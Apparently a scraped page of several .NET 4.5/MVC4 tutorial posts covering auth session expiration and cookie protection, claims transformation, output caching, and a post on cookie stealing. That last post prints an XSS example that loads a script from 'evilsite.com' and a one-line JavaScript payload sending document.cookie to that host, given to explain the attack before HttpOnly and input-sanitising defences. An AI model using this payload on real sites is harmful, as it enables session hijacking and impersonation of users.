Sliding expiration

SessionSecurityTokenReceived event is useful if you want to set a sliding expiration to the auth session. It’s generally a bad idea to set a sliding expiration to a cookie; a cookie can be stolen and with sliding expiration in place it can be used forever if the expiry date is renewed over and over again. So normally the default setting of absolute expiration is what you should implement.

You can reissue the cookie in the SessionSecurityTokenReceived event as follows:

private void CreateSession(ClaimsPrincipal transformedPrincipal)
        {
            SessionSecurityToken sessionSecurityToken = new SessionSecurityToken(transformedPrincipal, TimeSpan.FromHours(8));            
            FederatedAuthentication.SessionAuthenticationModule.WriteSessionTokenToCookie(sessionSecurityToken);
            FederatedAuthentication.SessionAuthenticationModule.SessionSecurityTokenReceived += SessionAuthenticationModule_SessionSecurityTokenReceived;
        }

        void SessionAuthenticationModule_SessionSecurityTokenReceived(object sender, SessionSecurityTokenReceivedEventArgs e)
        {
            SessionAuthenticationModule sam = sender as SessionAuthenticationModule;
            e.SessionToken = sam.CreateSessionSecurityToken(...);
            e.ReissueCookie = true;
        }

You will have access to the current session token in the incoming SessionSecurityTokenReceivedEventArgs parameter. Here you have the chance to inspect the token as you wish. Here we set the SessionToken property to a new token – I omitted the constructor parameters for brevity. You can obviously use the same session creating logic as in the CreateSession method, the CreateSessionSecurityToken is just another way to achieve the same goal.

Set a break point at…

SessionAuthenticationModule sam = sender as SessionAuthenticationModule;

…and run the application. Code execution will stop at the break point when logging in. The event will be then raised on every subsequent page request and the session security token will be reissued over and over again.

Cookie handling

It is a good idea to protect the auth session cookie so that it cannot easily be read. Fortunately the session token is by default protected by the token handler using DPAPI. The key that’s used to encrypt the token is local to the server. This means that you will run into problems in a web farm scenario where each server has a different machine key. In this case you’ll need a shared key.

You can build a new class that derives from SessionSecurityTokenHandler and set your encryption logic as you wish.

Alternatively starting with .NET4.5 there’s a built-in token handler that uses the ASP.NET machine key to protect the cookie. You can find more details on the MachineKeySessionSecurityTokenHandler class on MSDN. The shared key material will be used to protect the cookie. It won’t make any difference which server the browser connects to.

Server side caching

In case you need a large amount of claims to get the job done the auth session cookie size may grow considerably large. This may become an issue in mobile networking where the mobile device can have a slow connection. The good news is that session tokens can be cached on the server as well. It is only the session token identifier that will be sent back and forth between the browser and the server. The auth framework will find the claims collection on the server based on the identifier; you don’t need to write code to find it yourself. You can achieve this in code as follows:

SessionSecurityToken sessionSecurityToken = new SessionSecurityToken(transformedPrincipal, TimeSpan.FromHours(8));
            sessionSecurityToken.IsReferenceMode = true;

The downside is that the cookie is linked to server, i.e. we have to deal with server-affinity; if the app pool is refreshed, e.g. when you deploy your web app, or reset IIS, then the claims will be lost. Also, this solution does not work out of the box in the case of web farms. A way to solve this is to introduce your own implementation of SessionSecurityTokenCache (Read on MSDN) to connect to another server dedicated to caching, such as AppFabric caching.

This post discussed the properties of the authentication session. In the next post we’ll look at claims-based authorisation in MVC4.

You can view the list of posts on Security and Cryptography here.

Claims-based authentication in MVC4 with .NET4.5 C# part 1: Claims transformation

This post will look into how Claims can be introduced in an MVC4 internet application.

We will build on the basics of claims we discussed in previous posts:

I will make references to those posts and if you have absolutely no experience with Claims-based auth in .NET4.5 then I suggest you take a look at them as well.

Start Visual Studio and create a new MVC4 internet application with .NET4.5 as the underlying framework.

The template will set up a good starting point for an MVC web app including forms based authentication. Run the application and click the ‘Register’ link in the top right hand corner of the screen. You’ll be redirected to a page where you can fill out the user name and password:

Register link in basic MVC4 web app

Fill in the textboxes, press the ‘Register’ button and there you are, you’ve created a user. You’ll see that you were also automatically logged on:

User automatically logged in upon registration

A short aside on forms-based auth in MVC4

The default structure of creating and authenticating users in the basic template MVC4 app is far from ideal. I wrote two posts on forms-based auth in MVC4 here and here where you can learn more on this topic and how you can transform the template to something that’s a more suitable starting point.

For now just accept that the user you created in the previous step is saved in an attached local SQL Express database that was created for you. You can view this database by looking at the Server Explorer (Ctrl W, L). There you should see a database called DefaultConnection:

Default connection database

Open that node and you’ll see several tables that .NET created for you when the first user was registered. You’ll find a detailed discussion on what they are and how they were created in the posts on forms-based auth I mentioned above. For now it’s enough to say that the user was saved in two different tables. One’s called webpages_Membership, where the password is stored in a hashed form. The table UserProfile stores the user name. Right-click that table and select ‘Show table data’ from the context menu. There you should see the user with user id = 1:

Registered user in DB

Open the membership table as well to view how the password is stored.

In case you’re wondering about what connection string was used you can see it in web.config:

<connectionStrings>
    <add name="DefaultConnection" connectionString="Data Source=(LocalDb)\v11.0;Initial Catalog=aspnet-ClaimsInMvc4-20130130200447;Integrated Security=SSPI;AttachDBFilename=|DataDirectory|\aspnet-ClaimsInMvc4-20130130200447.mdf" providerName="System.Data.SqlClient"/>
 </connectionStrings>

Claims transformation in MVC4

If you recall from part 3 we registered a claims transformation logic in our simple Console application. Our goal is to do the same in our web app.

Right-click the web project in the Solution Explorer and add a new class file called CustomClaimsTransformer. The class must derive from ClaimsAuthenticationManager in the System.Security.Claims namespace. You will have add two references to your project: System.IdentityModel and System.IdentityModel.Services. The skeleton of the class will look like this:

public class CustomClaimsTransformer : ClaimsAuthenticationManager
    {
    }

We will override the Authenticate method:

public class CustomClaimsTransformer : ClaimsAuthenticationManager
    {
        public override ClaimsPrincipal Authenticate(string resourceName, ClaimsPrincipal incomingPrincipal)
        {
            return base.Authenticate(resourceName, incomingPrincipal);
        }
    }

This structure should look familiar from Part 3 of Claims basics. The resource name is an optional variable to describe the resource the user is trying to access. The incoming ClaimsPrincipal object is the outcome of the authentication; it represents the User that has just been authenticated on the login page. Now we want to ‘dress up’ the claims collection of that user.

Our first check is to see if the ClaimsPrincipal has been authenticated.

public override ClaimsPrincipal Authenticate(string resourceName, ClaimsPrincipal incomingPrincipal)
        {
            if (!incomingPrincipal.Identity.IsAuthenticated)
            {
                return base.Authenticate(resourceName, incomingPrincipal);
            }
        }

If the user is anonymous then we let the base class handle the call. The Authenticate method in the base class will simply return the incoming principal so an unauthenticated user will not gain access to any further claims and will stay anonymous.

You will typically not have access to a lot of claims right after authentication. You can count with the bare minimum of the UserName and often that’s all you get in a forms-based login scenario. So we will simulate a database lookup based on the user name. The user’s claims are probably stored somewhere in some storage. We’ll start with a skeleton:

public override ClaimsPrincipal Authenticate(string resourceName, ClaimsPrincipal incomingPrincipal)
        {
            if (!incomingPrincipal.Identity.IsAuthenticated)
            {
                return base.Authenticate(resourceName, incomingPrincipal);
            }

            return DressUpPrincipal(incomingPrincipal.Identity.Name);
        }

        private ClaimsPrincipal DressUpPrincipal(String userName)
        {

        }

However, in case the application is expecting more Claims than the name claim at this stage then this is the time to check the claims collection. If you need access to an “age” claim then you can check its presence through the Claims property of the ClaimsPrincipal:

incomingPrincipal.Claims.Where(c => c.Type == "age").FirstOrDefault();

Then if the age claim is missing then you can throw an exception.

Fill in the DressUpPrincipal method as follows:

private ClaimsPrincipal DressUpPrincipal(String userName)
        {
            List<Claim> claims = new List<Claim>();

            //simulate database lookup
            if (userName.IndexOf("andras", StringComparison.InvariantCultureIgnoreCase) > -1)
            {
                claims.Add(new Claim(ClaimTypes.Country, "Sweden"));
                claims.Add(new Claim(ClaimTypes.GivenName, "Andras"));
                claims.Add(new Claim(ClaimTypes.Name, "Andras"));
                claims.Add(new Claim(ClaimTypes.Role, "IT"));
            }
            else
            {
                claims.Add(new Claim(ClaimTypes.GivenName, userName));
                claims.Add(new Claim(ClaimTypes.Name, userName));
            }

            return new ClaimsPrincipal(new ClaimsIdentity(claims, "Custom"));
        }

So we add some claims based on the user name. Here you would obviously do some check in your data storage. If you have Roles in your web app, which is probably true for 99% of all .NET web apps with .NET4 and lower, then you can still use them by the ‘Role’ property of ClaimTypes. You can run the good old Roles.GetRolesForUser(string userName) method of ASP.NET Membership and assign the resulting string array to the Claims.

Finally we return a new ClaimsPrincipal which includes the result of our datastore lookup. Keep in mind that you need to specify the authentication type with a string to make the ClaimsPrincipal authenticated. Here we assigned “Custom” to that value, but it’s up to you.

Now we need to invoke our custom auth logic. We will do that at application start-up in Global.asax. The method that we want to implement is called PostAuthenticationRequest.

First we need to get hold of the current principal, i.e. the one that has just logged in:

protected void Application_PostAuthenticateRequest()
        {
            ClaimsPrincipal currentPrincipal = ClaimsPrincipal.Current;
        }

We will then reference our custom auth manager, pass in the current principal, retrieve the transformed principal and set the transformed principal to the current thread and current user:

protected void Application_PostAuthenticateRequest()
        {
            ClaimsPrincipal currentPrincipal = ClaimsPrincipal.Current;
            CustomClaimsTransformer customClaimsTransformer = new CustomClaimsTransformer();
            ClaimsPrincipal tranformedClaimsPrincipal = customClaimsTransformer.Authenticate(string.Empty, currentPrincipal);
            Thread.CurrentPrincipal = tranformedClaimsPrincipal;
            HttpContext.Current.User = tranformedClaimsPrincipal;
        }

Set a breakpoint at the first row within Application_PostAuthenticateRequest and run the application. Code execution should stop at the breakpoint. Step through the code using F11. As the user is anonymous base.Authenticate will be invoked within CustomClaimsTransformer.Authenticate. The anonymous user will be set as the current principal of the thread with no claims attached.

Remove the breakpoint from within the Application_PostAuthenticateRequest(), we don’t need that. Instead set a new breakpoint within CustomClaimsTransformer.Authenticate where you call the DressUpPrincipal method. We only want to stop code execution if something interesting happens.

Now use the user created before to log in. Code execution should stop within the Authenticate method as the user is not anonymous any more. Use F11 to step through the code line by line. You should see that the user receives the assigned claims and is set as the current user of the current thread and HttpContext.

Let the rest of the code run and… …you may be greeted with a mystical InvalidOperationException:

A claim of type ‘http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier&#8217; or ‘http://schemas.microsoft.com/accesscontrolservice/2010/07/claims/identityprovider&#8217; was not present on the provided ClaimsIdentity. To enable anti-forgery token support with claims-based authentication, please verify that the configured claims provider is providing both of these claims on the ClaimsIdentity instances it generates. If the configured claims provider instead uses a different claim type as a unique identifier, it can be configured by setting the static property AntiForgeryConfig.UniqueClaimTypeIdentifier.

It turns out the AntiForgeryToken is expecting BOTH the NameIdentifier and IdentityProvider claim even if the exception message says OR. If you recall our implementation of DressUpPrincipal then we omitted both. So let’s go back and include the NameIdentifier:

//simulate database lookup
            if (userName.IndexOf("andras", StringComparison.InvariantCultureIgnoreCase) > -1)
            {
                claims.Add(new Claim(ClaimTypes.Country, "Sweden"));
                claims.Add(new Claim(ClaimTypes.GivenName, "Andras"));
                claims.Add(new Claim(ClaimTypes.Name, "Andras"));
                claims.Add(new Claim(ClaimTypes.NameIdentifier, "Andras"));
                claims.Add(new Claim(ClaimTypes.Role, "IT"));
            }
            else
            {
                claims.Add(new Claim(ClaimTypes.GivenName, userName));
                claims.Add(new Claim(ClaimTypes.Name, userName));
                claims.Add(new Claim(ClaimTypes.NameIdentifier, userName));
            }

Note the ClaimTypes.NameIdentifier in the claims collection. If you run the application now you should still get the same exception which proves the point that by default BOTH claims are needed for the AntiForgeryToken. You can avoid adding both claims by adding the following bit of code in Application_Start within Global.asax:

AntiForgeryConfig.UniqueClaimTypeIdentifier = ClaimTypes.NameIdentifier;

Re-run the application and you should be able to log in without getting the exception.

You’ll notice that the text where it says ‘Register’ changes to Hello, [username] upon successful login. Where is that value coming from? Navigate to Views/Shared/_Layout.cshtml in the Solution Explorer and locate the following element:

<section id="login">

This element includes a reference to a partial view “_LoginPartial”. You’ll find _LayoutPartial.cshtml in the same folder. At the top of that file you’ll see the following code:

@if (Request.IsAuthenticated) {
    <text>
        Hello, @Html.ActionLink(User.Identity.Name, "Manage", "Account", routeValues: null, htmlAttributes: new { @class = "username", title = "Manage" })!
        @using (Html.BeginForm("LogOff", "Account", FormMethod.Post, new { id = "logoutForm" })) {
            @Html.AntiForgeryToken()
            <a href="javascript:document.getElementById('logoutForm').submit()">Log off</a>
        }
    </text>
}

Note the call to User.Identity.Name after ‘Hello’. This is a conservative approach as the MVC4 template has no way of knowing in advance whether you’re planning to make you application claims-aware. User is an IPrincipal and Identity is an IIDentity so it will work with pre-.NET4.5 claims auth identity types as well. However, we know that we use claims, so let’s replace User.Identity.Name with:

System.Security.Claims.ClaimsPrincipal.Current.FindFirst(System.IdentityModel.Claims.ClaimTypes.GivenName).Value

Run the web app, log in and you should see the GivenName claim instead of the generic IPrincipal.Name.

Since the web app is now claims-aware you can use the claims to show the email claim after login or the user’s favourite colour or what have you, as long as that particular Claim is present. This was not so easily available with the good old GenericPrincipal and WindowsPrincipal objects.

Note an important thing: do you recall that we hooked up our custom auth manager in Global.asax by overriding Application_PostAuthenticateRequest()? In fact what happens is that our custom Authenticate method in CustomClaimsTransformer.cs runs with every single page request. Set a breakpoint within the method and code execution will stop every time you navigate to a page in the web app. The real implementation of the Authenticate method will most likely involve some expensive DB lookup which then also runs with every page request. That’s of course not maintainable.

How can we solve that problem? By caching the outcome of the Authenticate method in a built-in authentication session.
That’s what we’ll look at in the next blog post.

You can view the list of posts on Security and Cryptography here.

Caching infrastructure in MVC4 with C#: caching controller actions

You can introduce caching in many places within your web application: you can cache service responses, repository responses or specific database call results. In this post we’ll look at how to cache controller action results. Actions in MVC generally return Views of some sort. These views can be cached on the controller level so that the code within the action body doesn’t need to execute with every call.

Create the test webapp

To demonstrate the caching techniques we’ll build a very simple MVC4 web application. We’ll pretend that extracting the contact data of our company requires some long running database call. Create an MVC4 web application with .NET4.5 as the underlying framework. Navigate to HomeController.cs and locate the Contact action. It should look as follows:

public ActionResult Contact()
        {
            ViewBag.Message = "Your contact page.";

            return View();
        }

Insert the following code just before the return statement:

Thread.Sleep(2000);

So we pretend that it takes 2 seconds to retrieve the contact information. Set a break point at ViewBag.Message and run the application. Navigate to the Contact action by clicking the ‘Contact’ link in the upper right hand corner. You’ll see of course that the execution breaks at the break point.

The OutputCache attribute

Normally the company’s contact data is pretty static so it’s futile to let the same 2 second logic run every time the Contact data is requested. The easiest way to save the ActionResult of the Contact action in the cache is to use the OutputCache attribute. The minimum requirement here is to specify the duration in seconds how long the action result should be cached. Update the Contact action as follows:

[OutputCache(Duration=10)]
public ActionResult Contact()

Run the application again and navigate to the Contact page. The first time you load this page the execution will break at the break point. Let the Contact page load normally. Now click the Contact link again; you’ll notice that the code execution did not break at the break point you inserted. As the action result is kept in the cache for 10 seconds the same View is returned on subsequent requests without running the code within the action method. Now wait at least 10 seconds and click the Contact link; as the Contact action result has been erased from the cache the code execution will break at the break point.

This was nice and easy and is a great solution for pages where the view changes very little over time.

OutputCache with parameters

If the action has parameters such as a search term then it’s of course not a good idea to simply cache the output as above. The user will see the same View result regardless of the search term. It would be better to cache the result of the search instead. This is not difficult to achieve either:

[OutputCache(Duration=3600, VaryByParam="searchTerm")]
public ActionResult Contact(string searchTerm)

The VaryByParam allows you to specify the parameters by which the result should be cached. Here we specify that the View result should be cached for each value of the searchTerm parameter. You can specify to cache the output for every thinkable combination of the parameters by writing VaryByParam=”*”. This is probably the best option and is also the default one. If for whatever reason you want to serve the same View regardless of the parameter values then you can specify VaryByParam=”none”.

Run the application and navigate to the contact page. The execution will break as expected. Next update the URL as follows:

http://localhost:xxxx/Home/Contact?searchTerm=a

…and press Enter. The execution will break again as the parameter is different; it was null the first time. Next update the query string to

?searchTerm=b

The execution will break as expected. Now try ?searchTerm=a again. The execution should not break as the View result has been put into the cache for searchTerm = “a”. Change back to ?searchTerm=b and the cached result will be returned.

Cache child action results

You can specify different caching policies for partial views within the parent view. Add the following action to HomeController.cs:

public ActionResult PartialViewTest()
        {
            return View();
        }

Right-click inside the action body and choose the Add View… option. In the Add View window accept all default values but check the ‘Create as a partial view’ checkbox. The PartialViewTest.cshtml file will be created. Add the following content in that file:

<p>
    This is a partial view.
</p>

Open Contact.cshtml and add the following code just underneath the closing hgroup tag on the top of the page:

@Html.Action("PartialViewTest")

The Action method will execute the action called PartialViewTest within the HomeController and return its partial view.

Navigate to the Contact page and you should see the contents of the partial view as follows:

Partial view result

Now you can specify different caching policies for the Contact and PartialViewTest actions. Change the output cache attribute of the Contact action to the following:

[OutputCache(Duration=3)]

We only specify a short caching period so that we don’t sit and wait for the cache to be erased.

Decorate the PartialViewTest action as follows:

[OutputCache(Duration=3600)]

The effect should be that although the Contact action body executes after 3 seconds, the child view should be cached. Insert a break point within both action bodies and run the application. As usual, navigate to the Contact page. You should see that execution breaks within both method bodies. Now wait at least 3 seconds and refresh the page. Execution should now only stop within the Contact method but leave the PartialViewTest method alone as the partial view of that action is still in the cache.

So, you can independently set the cache strategies for controller actions and their child actions.

Note however, that you may only specify the Duration, VaryByCustom, and VaryByParam cache parameters for child actions. If you try to e.g. define the VaryByHeader parameter you’ll receive an exception.

Specify the cache location

You can cache the action results on the client, the server or both using the Location parameter as follows:

[OutputCache(Duration = 3600, Location=System.Web.UI.OutputCacheLocation.ServerAndClient)]

The default value is ServerAndClient.

Cache according to the header values

If you have a multi-culture website where the user can specify the language of the web site then it’s a good idea to cache according to the available language. You don’t want to return a German-language view if the user is requesting the page in French. The language can be specified in the HTTP header called ‘Accept-Language’. So if this can vary then you can specify the following caching strategy:

[OutputCache(Duration = 3600, VaryByHeader="Accept-Language")]

Another type of header value will be important for AJAX requests. Let’s imagine that the Contact action is also available to AJAX calls. In other words only that portion of the screen will be refreshed which makes up the View result of the Contact action. The rest, i.e. the header, footer, menu etc. will stay constant. If a user then bookmarks a specific search result, e.g.:

http://localhost:xxxx/Home/Contact?searchTerm=a

…and will call this search directly from his/her browser then the Contact action will only serve up a cached version of the Contact view and nothing else. The reason is that user’s browser will send a full GET request and not an asynchronous one. All the other parts of the ‘normal’ full screen, i.e. everything that the AJAX call didn’t touch will be left out. The result will be very weird: a page devoid of styles – apart from any inline style tags in the Contact view – headers, footers etc. The problem lies with a specific header value: X-Requested-With. This is the only difference between the headers of the AJAX and the GET calls: it will be present on an AJAX request but absent on GET requests. To the caching engine there’s no difference between AJAX calls and GET calls because you didn’t specify this in the OutputCache attribute. Two things need to be done:

1. Update the OutputCache attribute to vary the output by this specific header type:

[OutputCache(Duration = 3600, VaryByHeader="X-Requested-With")]

Now the caching mechanism will be able to differentiate between two requests: one that wants a full page render and one that will only serve a portion of the page.

Unfortunately there are cases when this update is not enough. The default setting is that we’re letting the action result be cached on both the client and the server. However, some older browsers are not “clever” enough to detect the difference between full GET and partial AJAX requests.

2. To be on the safe side we need to specify that caching only should occur on the server:

You can achieve this as follows:

[OutputCache(Duration = 3600, VaryByHeader="X-Requested-With", Location=System.Web.UI.OutputCacheLocation.Server)]

Now the server will send instructions to the browser not to cache the action result. The browser will always have to access the server for a response. The server will then serve up a cached result if there’s any in its memory.

The safest and most elegant solution is of course to create separate action methods for full GET and partial AJAX calls.

Sql dependency caching

There is a parameter to the OutputCache attribute called SqlDependency. You can define so that if the contents of an SQL table change then the cache should be refreshed.

It sounds very tantalising but this solution is not widely used. There are significant restrictions on the type of SQL query that can be used.

Custom caching

If all else fails then you can build your own caching algorithm and specify this algorithm in the VaryByCustom parameter. You can find an example on MSDN here.

Cache profiles

It is generally bad practice to use hard coded strategies to tweak your solution. The same is valid for the OutputCache attribute: if you want to update the caching policy in your OutputCache attributes then you have to change each one of them one by one and redeploy your solution. This makes testing out the correct level of caching quite cumbersome.

Instead you can specify caching profiles in the web.config files and refer to these profiles by name in the OutputCache attribute.

You can specify your caching strategies within the system.web tag as follows:

    <caching>
      <outputCacheSettings>
        <outputCacheProfiles>
          <add name="Aggressive" duration="1600"/>
          <add name="Short" duration="20"/>
        </outputCacheProfiles>
      </outputCacheSettings>
    </caching>

…and refer to them in the OutputCache attribute like this:

[OutputCache(CacheProfile="Aggressive")]

This way you can simply change the values in web.config and see the effects immediately – there’s no need to redeploy your application.

View the list of MVC and Web API related posts here.

Web security in .NET4.5: cookie stealing

This post will discuss what cookie stealing means and how it can be prevented in a .NET4.5 web application – MVC or ASP.NET web proj.

Probably the most important cookies in the world of Internet are the authentication cookies. They store the necessary details of the logged-on user. They are passed along each web request so that the server can validate them on a protected web page. Other cookies store less sensitive data, such as user preferences.

Without the authentication cookies the user would need to log on to the web site on every web request even after the initial log-in. This is obviously very tedious so auth cookies have become indispensable. If an attacker manages to get hold of your auth cookie then they can impersonate you and do what they want using your identity and rights.

There are two types of cookies: session cookies and persistent cookies. Session cookies are stored in the browser’s memory and transmitted via the header during every request. Persistent cookies are transmitted the same way but are stored in a text file on the user’s hard drive. Session cookies become unavailable as soon as the session ends whereas persistent cookies will be available through subsequent sessions as well. This is the effect of the popular “Remember me” checkbox on login pages.

How can a cookie be stolen?

Recall that the auth cookie is passed along every HTTP request in the HTTP header. The attacker’s task is to somehow make the user’s browser send its cookies to their website. The solution will be running a bit of JavaScript code in the client browser. The script can be injected by a technique known as cross-site scripting (XSS) which means injecting JavaScript in the HTML so that it runs as soon as the page loads in the browser.

Imagine that you have a public forum where anyone can create an account and insert comments. If the contents of the textbox where the comments can be written are not sanitised well enough – i.e. checked for illegal characters, scripts – then the JavaScript code can slip through and be part of the generated HTML when the comment is shown on the screen. Then whoever loads that page will have a malicious script run in their browser. The reference to the script can be wrapped in other HTML tags. Example:

<img src=""http://www.nicesite.com/myprofile.jpg<script src="http://www.evilsite.com/evilscript.js">" />
<<img src=""http://www.nicesite.com/myprofile.jpg</script>"

The JavsScript file evilscript.js might look like this:

window.location="http://www.evilsite.com/evil.aspx?cookie=" + document.cookie;

When the browser loads and runs this bit of JavaScript it will transmit its cookies to evilsite.com.

You can do two things to prevent this type of attack:

1.) Sanitise ALL the inputs in textboxes and where-ever an external user can post his/her inputs. MVC4 does this automatically for you.

2.) Prevent cookie vulnerability by disallowing changes from the client’s browser. Stopping script access to all cookies in your site by a simple flag in web.config as follows:

<httpCookies domain="String" httpOnlyCookies="true" requireSSL="false" />

You can set this property for each of the site’s cookies in code as follows:

Response.Cookies["CustomCookie"].Value = "Custom setting";
Response.Cookies["CustomCookie"].HttpOnly = true;

HttpOnly tells the browser to invalidate the cookie if anything but the server sets it or changes it.

This simple technique will stop most XSS-based cookie problems.

You can view the list of posts on Security and Cryptography here.

ultimatemindsettoday

A great WordPress.com site

Elliot Balynn's Blog

A directory of wonderful thoughts

HarsH ReaLiTy

A Good Blog is Hard to Find

Softwarearchitektur in der Praxis

Wissenswertes zu Webentwicklung, Domain-Driven Design und Microservices

Technology Talks

on Microsoft technologies, Web, Android and others

Software Engineering

Web development

Disparate Opinions

Various tidbits

chsakell's Blog

WEB APPLICATION DEVELOPMENT TUTORIALS WITH OPEN-SOURCE PROJECTS

Once Upon a Camayoc

Bite-size insight on Cyber Security for the not too technical.

Guru N Guns's

OneSolution To dOTnET.

Johnny Zraiby

Measuring programming progress by lines of code is like measuring aircraft building progress by weight.

%d bloggers like this: